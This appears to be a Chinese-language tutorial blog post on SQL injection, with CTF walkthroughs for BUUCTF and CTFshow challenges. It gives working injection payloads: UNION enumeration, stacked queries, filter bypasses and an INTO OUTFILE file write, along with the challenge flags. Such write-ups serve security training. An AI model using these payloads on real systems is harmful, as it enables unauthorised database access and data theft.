SQL注入基本原理&&靶场实现

   ↵

一、前言

        SQL注入漏洞(SQL injection)是WEB层面高危的漏洞之一,也是常见的攻击方式。

二、本质

1、什么是SQL注入

        SQL 注入是一种利用应用程序对用户输入数据过滤不严格,将恶意 SQL 代码插入到正常 SQL 语句中,从而操控数据库查询逻辑的攻击技术。

        其核心原理是混淆代码与数据边界,使攻击者能够执行非授权的数据库操作。

      关键条件

  1. 用户可控输入:攻击者能控制应用程序的输入参数(如 URL、表单、Cookie)。

  2. 拼接 SQL 语句:程序直接将用户输入拼接到 SQL 查询中,未做过滤或转义。

  3. 数据库权限过高:应用使用的数据库账户权限过大(如 root

三、注入类型

1. 联合查询注入

  • 原理:通过 UNION 操作符将恶意查询拼接到原查询,合并结果集

  • 利用条件

    • 原查询的列数与 UNION 后的查询列数一致

    • 页面有回显查询结果的功能

2. 报错注入

        原理:故意触发数据库报错,使错误信息中包含敏感数据

3. 布尔盲注 

        原理:通过页面返回的布尔状态(真/假差异,逐字符推断数据

        适用场景:页面无回显,但会根据 SQL 执行结果返回不同内容(如登录成功/失败) 

4. 时间盲注

        原理:通过数据库的延时函数(如 SLEEP()、BENCHMARK()),根据响应时间判断条件真假
        适用场景:页面无任何回显差异,但能感知响应延迟

5. 堆叠查询注入

        原理:利用分号 ; 执行多条 SQL 语句,实现增删改查操作
        依赖条件:数据库支持多语句执行(如 MySQL 的 mysqli_multi_query)

6. 二次注入

        原理:恶意数据先被存储到数据库,后续查询时被触发执行
        特点:绕过输入时的过滤(过滤不彻底或存储后未转义)

7. 宽字节注入

        原理:利用数据库字符集编码(如 GBK)的特性,绕过转义符(\)
        关键:构造 %df',与转义符 \ 结合成宽字符(如 %df%5c 对应 運),使单引号逃逸

 8、姿势总结(自己总结的,根据实际情况改变)

 1、判断注入点

?id=1'                     #看是否存在sql注入
#1' or 1=1#         
#和--在sql语句中起着注释的作用,将后面的语句注释掉,+ 则代表空,#在浏览器中需要url编码	
?id=1' and 1=1 --+       #观察是否有回显
?id=1' amd 1=2 --+

 2、判断当前表的字段个数

1' order by 1# --+        

 3、判断显示位

?id=1' union select 1,2,3--+

4、爆出库

1'union select 1,2,database()--+
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=1  and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 5、爆出表

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'--+

 6、爆出列

?id=-1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'--+

 7、查询内容

?id=-1' and 1=2 union select 1,2,group_concat(字段) from 库名.表名--+
#?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

四、靶场实现

BUUCTF CTF

1、easy_sql

1、进入靶场,输入1’ or 1=1

得到

2、输入1‘ or 1#将后面的注释掉

得到回显

3、判断一下字段个数' union select 1,2;#

select被过滤

4、输入1;show databases;#爆破库

得到该表的数据库内容

5、输入1';show tables;#爆破表

得到两表

6、查看一下第一个表1919810931114514的表结构

有两种方式

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

#注意,如果tableName是纯数字,需要用包裹,比如 1';desc 1919810931114514`;#

得到类型为字符型

方法一:因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:

1';PREPARE hacker from concat('s','elect', '*from1919810931114514 ');EXECUTE hacker;#

方法二:

select*from`1919810931114514`
语句进行16进制编码,即:
73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同时,我们也可以先定义一个变量并将sql语句初始化,然后调用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

方法三:通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果

1';altertable words renameto words1;altertable`1919810931114514`renameto words;altertable words change flag id varchar(50);#

方法四:此题还可以通过handle直接出答案: 1';HANDLER1919810931114514OPEN;HANDLER1919810931114514READFIRST;HANDLER 1919810931114514CLOSE;

2、LoveSQL

1、使用1'出现报错说明存在SQL注入

2、使用万能密码得到

3、爆字段

check.php?username=admin ' order by 1 %23&password=1

check.php?username=admin ' order by 2 %23&password=1

check.php?username=admin ' order by 3 %23&password=1

得到有3个字段

4、看回显

1' union select 1,2,3#

得出回显位在2,3

5、爆数据库

1‘ union select 1,database(),version()#

得到数据库名geek 和数据库版本

6、爆数据表

1' union select 1,2,group_concat(table_name)from information_schema.tables where

table_schema=database()#

得到两张表

7、爆破字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where

table_name='l0ve1ysq1'#

8、爆破flag

1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1

3、BABYSQL

双写绕过

进入靶场

1、使用万能密码尝试

发现有过滤但是不知过滤什么

2、查看字段

发现过滤了or,双写绕过

1' oorr by 1#

3、爆破数据库

发现union select过滤

1' ununionion seselectlect 1,2,database()#

双写过后

找到数据库名称

4、爆破表

1' ununionion seselectlect 1,2,group_contact(table_name) from information_schema.tables where

table_schema='geek'#

双写后

1 1' ununionion seselectlect 1,2,group_concat(table_name) frfromom

infoorrmation_schema.tables whwhereere table_schema='geek'#

5、爆破列表

1 1' ununionion seselectlect 1,2,group_concat(column_name) frfromom

infoorrmation_schema.columns whwhereere table_name='b4bsql'#

6、爆破字段

1 1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

得到flag

CTFshow

WEB171

1、?id=1' order by 3--+     //判断回显位有三个字段

2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出库名  information_schema,test,mysql,performance_schema,ctfshow_web

3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表   ctfshow_user

4、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
//得到字段  id,username,password

5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user--+
//得到数据  admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{87b8e647-d1cb-4b46-a2b6-ee5bcf9219fc}

web172

1、?id=1' order by 2--+     //判断回显位有两个字段
	
2、?id=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+
	//得到库名  	information_schema,test,mysql,performance_schema,ctfshow_web

3、?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//得到表ctfshow_user,ctfshow_user2,表1没有flag

4、?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+
//得到字段id,username,password,

5、?id=-1' and 1=2 union select 1,group_concat(password) from ctfshow_web.ctfshow_user2--+
//得到数据
admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{ff5e89a0-2cd5-4213-963f-d0ac7267d004}

web173

1、?id=1' order by 3--+     //判断回显位有三个字段

2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出库名  information_schema,test,mysql,performance_schema,ctfshow_web

3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表  ctfshow_user,ctfshow_user2,ctfshow_user3

4、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+
//得到字段  id,username,password

5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3--+
//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{25d9e295-dd78-46a7-9355-e06e53e2e357}

web174

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
    

1、?id=1' order by 3--+     //判断回显位有2个字段

2、?id=1' and 1=2 union select null,group_concat(schema_name) from information_schema.schemata--+
//用数字代表字段时没有回显,应该是被过滤了,所以换成null
得到库名	information_schema,test,mysql,performance_schema,ctfshow_web

3、?id=1' and 1=2 union select null,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from information_schema.tables where table_schema='ctfshow_web'--+
//因为0-9都被过滤了,所以将1-9-0替换成A-J
查询得ctfshow_userD替换为数字为ctfshow_user

4、?id=0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
得到flag    ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
利用python,replace替换回来
def rev_replace(txt):
    repl = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }
 
    for k, v in repl.items():
        txt = txt.replace(k, v)
 
    return txt
 
txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

输入:ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
替换后:  ctfshow{9a772e19-3d45-46b3-bdd4-38cce96371c3}
得到flag

web175

1、写时间盲注脚本
2、' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
直接将flag写入到靶场服务器文件中

web176

1、1' order by 4--+   //无回显判断出回显位有三位
2、1' union select 1,2,3--+  //无法查询到数据
		1'--+和1' --+ //可以查询到数据说明单引号和空格没有被过滤
		1' union Select database(),2,3--+//查询到数据库名称ctfshow_web
		所以是select被过滤了,用大写绕过
3、' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
		查询到数据库表名ctfshow_user
4、' union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
		查询到数据库列名id,username,password
5、' union Select 1,group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user--+
		查询字段数据
		//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
		ctfshow{e69b119f-1d03-4873-85ae-613dad8f4b9a}
		得到flag

web177

1、1'--+无数据显示
		--+编码后1'%23可以回显数据,所以--+被过滤
		1' %23无法显示数据,空格也被过滤
		1'%0a%23有回显
2、1'%0aor%0a1=1%23万能密码直接得到flag
3、1'%0aorder%0aby%0a4%23  //判断回显位为3
		按照上题步骤将空格和--+替换即可
'%0aunion%0aselect%0a1,group_concat(username),group_concat(password)%0afrom%0actfshow_web.ctfshow_user%23
		得到flag

web178

1、与上题一样空格和--+被过滤
万能密码直接得到flag或替换

web179

其他可替代空格的字符
URL编码	ASCII字符	说明
%20	空格	标准空格
%09	制表符	水平制表符(Tab)
%0a	换行符	新行(LF,Unix换行)
%0d	回车符	回车(CR,旧版Mac换行)
%0c	换页符	分页符(Form Feed)
空格与--+与%0a都被过滤
1、1'%0cor%0c1=1%23

web180

空格,--+,%0a,%23都被过滤了
用--%c闭合
也可以这样'or(id=26)and'1'='1
1、'union%0cselect%0c1,2,database()--%0c//得到数据库ctfshow_web
2、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
//得到表ctfshow_user
3、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
//得到列id,username,password
4、'%0cand%0c1=2%0cunion%0cselect%0c1,group_concat(username),group_concat(password)%0cfrom%0cctfshow_web.ctfshow_user--%0c
//得到flag

web181

1、1'%0cor%0c1=1--%0c万能密码
2、'or(id=26)and'1'='1
3、-1'%0cor%0cusername%0clike%0c'flag
4、这里我们主要用到and的优先级比or高

可以看到源代码里面有and可以在and后面加or使其

在执行了and以后 or的前后都执行

所以构造payload

-1'||username='flag

web182

1、1'%0cor%0c1=1--%0c
2、'or(id=26)and'1'='1
3、-1'||(username)like'%f% //模糊匹配

至此SQL注入告一段落

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ᴳᴼᴼᴰ ᴺᴵᴳᴴᵀ ᵕ̈

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值